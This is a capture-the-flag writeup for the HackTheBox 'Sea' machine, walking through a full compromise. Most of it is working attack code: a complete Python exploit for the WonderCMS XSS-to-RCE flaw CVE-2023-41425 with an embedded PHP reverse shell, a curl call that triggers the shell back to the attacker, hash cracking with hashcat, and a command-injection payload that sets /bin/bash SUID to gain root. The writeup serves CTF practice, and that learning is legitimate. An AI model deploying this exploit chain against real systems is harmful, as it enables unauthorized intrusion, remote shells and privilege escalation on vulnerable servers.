HackTheBox Sea Writeup
Explore the fundamentals of cybersecurity in the Sea Capture The Flag (CTF) challenge, an easy-level experience, ideal for beginners! This straightforward CTF writeup provides insights into key concepts with clarity and simplicity, making it accessible and perfect for those new to CTFs.
Add Hosts
Edit the /etc/hosts file and add the following entries:
10.10.11.28 sea.htb
Script to add hosts automatically
ip="10.10.11.28"
domain="sea.htb"
grep -qF "$ip $domain" /etc/hosts || echo -e "$ip $domain" | sudo tee -a /etc/hosts
Mapping
nmap -sCV sea.htb
Starting Nmap 7.95 ( https://nmap.org ) at 2024-09-14 21:56 CEST
Nmap scan report for sea.htb (10.10.11.28)
Host is up (0.053s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http-proxy HAProxy http proxy 2.0.0 or later
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Did not follow redirect to http://sea.htb
8080/tcp open http Jetty
|_http-title: GitBucket
Service Info: OS: Linux; Device: load balancer; CPE: cpe:/o:linux:linux_kernel
Enumeration
ffuf -u http://sea.htb/FUZZ -w /usr/share/dict/SecLists/Discovery/Web-Content/raft-medium-files.txt -mc 200,301,302,401,402,403
Result
index.php [Status: 200, Size: 3650, Words: 582, Lines: 87, Duration: 54ms]
contact.php [Status: 200, Size: 2731, Words: 821, Lines: 119, Duration: 47ms]
.htaccess [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 45ms]
. [Status: 200, Size: 3650, Words: 582, Lines: 87, Duration: 46ms]
.html [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 46ms]
.php [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 46ms]
.htpasswd [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 46ms]
.htm [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 45ms]
.htpasswds [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 44ms]
.htgroup [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 45ms]
wp-forum.phps [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 45ms]
.htaccess.bak [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 45ms]
.htuser [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 44ms]
.ht [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 45ms]
.htc [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 45ms]
Copy of index.html [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 45ms]
CVE-2023-41425
WonderCMS XSS to RCE
#!/bin/python
import os
import shutil
import zipfile
import argparse
import subprocess
red = '\033[31m'
green = '\033[32m'
blue = '\033[34m'
yellow = '\033[93m'
reset = '\033[0m'
def get_tun0_ip():
"""Fetch the tun0 IP address."""
try:
tun0_ip = subprocess.check_output("ip -4 addr show tun0 | grep -oP '(?<=inet\\s)\\d+(\\.\\d+){3}'", shell=True)
return tun0_ip.decode().strip()
except subprocess.CalledProcessError:
return None
def arguments():
global args
parser = argparse.ArgumentParser()
parser.add_argument( '-u', '--url', required=True, help='Enter the URL where the WonderCMS loginURL is located. e.g.: http://example.com/loginURL' )
parser.add_argument( '-i', '--ip', required=True, help='Attacker IP address. e.g.: -i 127.0.0.1' )
parser.add_argument( '-p', '--port', required=True, help='Listening port. e.g.: -p 4444' )
parser.add_argument( '-r', '--remote-host', default=None, help='Specify the remote host where the main.zip file containing the compressed reverse shell is hosted: e.g.: http://192.168.0.23:8000/main.zip' )
args = parser.parse_args()
if args.remote_host is None:
tun0_ip = get_tun0_ip()
if tun0_ip:
args.remote_host = f"http://{tun0_ip}:8000/main.zip"
print(f"[*] Using tun0 IP for remote host: {args.remote_host}")
else:
print("[!] tun0 IP address could not be determined. Please specify the remote host manually.")
exit(1)
def createData( url, ip, port, remote_host ):
data = f'''
var url = "{ url }";
if (url.endsWith("/")) {{
url = url.slice(0, -1);
}}
var urlWithoutLog = url.split("/").slice(0, -1).join("/");
var urlObj = new URL(urlWithoutLog);
var urlWithoutLogBase = urlObj.origin + '/';
var token = document.querySelectorAll('[name="token"]')[0].value;
var urlRev = urlWithoutLogBase + "/?installModule={ remote_host }&directoryName=violet&type=themes&token=" + token;
var xhr3 = new XMLHttpRequest();
xhr3.withCredentials = true;
xhr3.open("GET", urlRev);
xhr3.send();
xhr3.onload = function() {{
if (xhr3.status == 200) {{
var xhr4 = new XMLHttpRequest();
xhr4.withCredentials = true;
xhr4.open("GET", urlWithoutLogBase + "/themes/revshell-main/rev.php");
xhr4.send();
xhr4.onload = function() {{
if (xhr4.status == 200) {{
var ip = "{ ip }";
var port = "{ port }";
var xhr5 = new XMLHttpRequest();
xhr5.withCredentials = true;
xhr5.open("GET", urlWithoutLogBase + "/themes/revshell-main/rev.php?lhost=" + ip + "&lport=" + port);
xhr5.send();
}}
}};
}}
}};
'''
return data
def createFileXSS( data ):
try:
with open( "xss.js", "w" ) as f:
f.write( data )
except:
print('\n[!] An error occurred while trying to write the file!')
def createRevPHP():
reverse_shell_code = '''<?php
set_time_limit(0);
$VERSION = "1.0";
$ip = '127.0.0.1';
$port = 1234;
if (isset($_GET['lhost']) && filter_var($_GET['lhost'], FILTER_VALIDATE_IP, FILTER_FLAG_IPV4)) {
$ip = $_GET['lhost'];
}
if (isset($_GET['lport']) && (int)$_GET['lport'] > 0 && (int)$_GET['lport'] < 65536) {
$port = (int)$_GET['lport'];
}
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
if (function_exists('pcntl_fork')) {
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0);
}
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
chdir("/");
umask(0);
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
$descriptorspec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("pipe", "w")
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
function printit($string) {
print "$string\n";
}
'''
if os.path.exists('main.zip'):
print(yellow,"\n[+] main.zip already exists. No further action required.", reset)
return
print(yellow,"\n[*] Creating 'revshell-main' directory and placing rev.php...", reset)
os.makedirs('revshell-main', exist_ok=True)
with open(os.path.join('revshell-main', 'rev.php'), 'w') as f:
f.write(reverse_shell_code)
print(yellow,"[+] revshell-main/rev.php created with reverse shell code.", reset)
print(yellow,"[*] Compressing 'revshell-main' into 'main.zip'...", reset)
with zipfile.ZipFile('main.zip', 'w') as zipf:
for root, dirs, files in os.walk('revshell-main'):
for file in files:
zipf.write(os.path.join(root, file), os.path.relpath(os.path.join(root, file), os.path.dirname('revshell-main')))
print(yellow,"[+] main.zip created successfully.", reset)
print(yellow,"[*] Cleaning up 'revshell-main' directory...", reset)
shutil.rmtree('revshell-main')
print(yellow,"[+] Cleaned up 'revshell-main' directory.\n", reset)
def printInfo():
print(yellow, "\n[+]The zip file will be downloaded from the host: ", reset, f" { args.remote_host }")
print(yellow, "\n[+] File created:", reset,"xss.js")
print(yellow, "\n[+] Set up nc to listen on your terminal for the reverse shell")
print("\tUse:\n\t\t", reset, red, f"nc -nvlp { args.port }", reset)
link = str(args.url).replace("loginURL","index.php?page=loginURL?")+"\"></form><script+src=\"http://"+str(args.ip)+":8000/xss.js\"></script><form+action=\""
link = link.strip(" ")
print(yellow, "\n[+] Send the below link to admin:\n\n", green + link, reset)
print("\nStarting HTTP server with Python3, waiting for the XSS request")
os.system("python3 -m http.server\n")
if __name__ == '__main__':
try:
arguments()
createRevPHP()
createFileXSS( createData( args.url, args.ip, args.port, args.remote_host ) )
printInfo()
finally:
if os.path.exists('xss.js'):
os.remove('xss.js')
print(yellow,"\n[+] xss.js deleted.", reset)
if os.path.exists('main.zip'):
os.remove('main.zip')
print(yellow,"\n[+] main.zip deleted.", reset)
Make the script executable and run it:
chmod +x 41425
vpnip=$(ip a | grep -A 2 "tun0:" | grep -oP '(?<=inet\s)\d+(\.\d+){3}')
./41425 -u http://sea.htb/loginURL -i $vpnip -p 9001
go in http://sea.htb/contact.php and post a request with website as the payload given by the exploit
wait until “GET /xss.js HTTP/1.1” 200 appear in the exploit
listener
nc -lvnp 9001
invoke the revshell
vpnip=$(ip a | grep -A 2 "tun0:" | grep -oP '(?<=inet\s)\d+(\.\d+){3}')
curl "http://sea.htb/themes/revshell-main/rev.php?lhost=$vpnip&lport=9001"
Get an Interactive Shell: Once the reverse shell connects, convert it into an interactive shell:
python3 -c 'import pty;pty.spawn("/bin/bash")'
Press Ctrl+Z to background the shell, then run:
stty size; stty raw -echo; fg
As the last step, set the terminal environment:
export TERM=xterm;
Looking into existing users we find amay and geo.
cat /etc/passwd | grep 'sh$'
root:x:0:0:root:/root:/bin/bash
amay:x:1000:1000:amay:/home/amay:/bin/bash
geo:x:1001:1001::/home/geo:/bin/bash
Looking for credentials in the web app files we found a database.js that contains a bcrypt hash.
cd /var/www/sea/data
cat database.js | grep password
The hash contains escape sequences like
\/that need to be replaced with/. This is done usingsed 's/\\\//\//g'.
Brute Force the Hash
Use a hash cracking tool like hashcat or John the Ripper to perform a brute force attack on the password hash, or use a service such as crackstation for this purpose.
echo -n "Password Hash? -->" ; read hash
echo "$hash" > /tmp/hash.txt
hashcat -m 3200 -a 0 /tmp/hash.txt /usr/share/dict/rockyou.txt
hashcat -m 3200 /tmp/hash.txt --show
rm -rf /tmp/hash.txt
Now you can SSH:
ssh amay@sea.htb
Web Interface on Port 8080
List local running services:
ss -tulpn
8080 has a service, so forward it to your machine:
ssh -L 1234:localhost:8080 amay@sea.htb
Log in as amay.
Just open the page in your browser and copy the token from the cookies.
Then, send the POST request to show the content of /root/root.txt and set the bash binary as SUID:
curl 'http://localhost:1234/' -X POST -H 'Authorization: Basic YW1heTpteWNoZW1pY2Fscm9tYW5jZQ==' --data-raw 'log_file='$(echo '/root/root.txt;chmod +s /bin/bash' | jq -sRr @uri)'&analyze_log=' | grep -oE '[a-f0-9]{32}'
This will display the flag.
ssh amay@sea.htb
After logging, you can run:
/bin/bash -p
And get a root shell.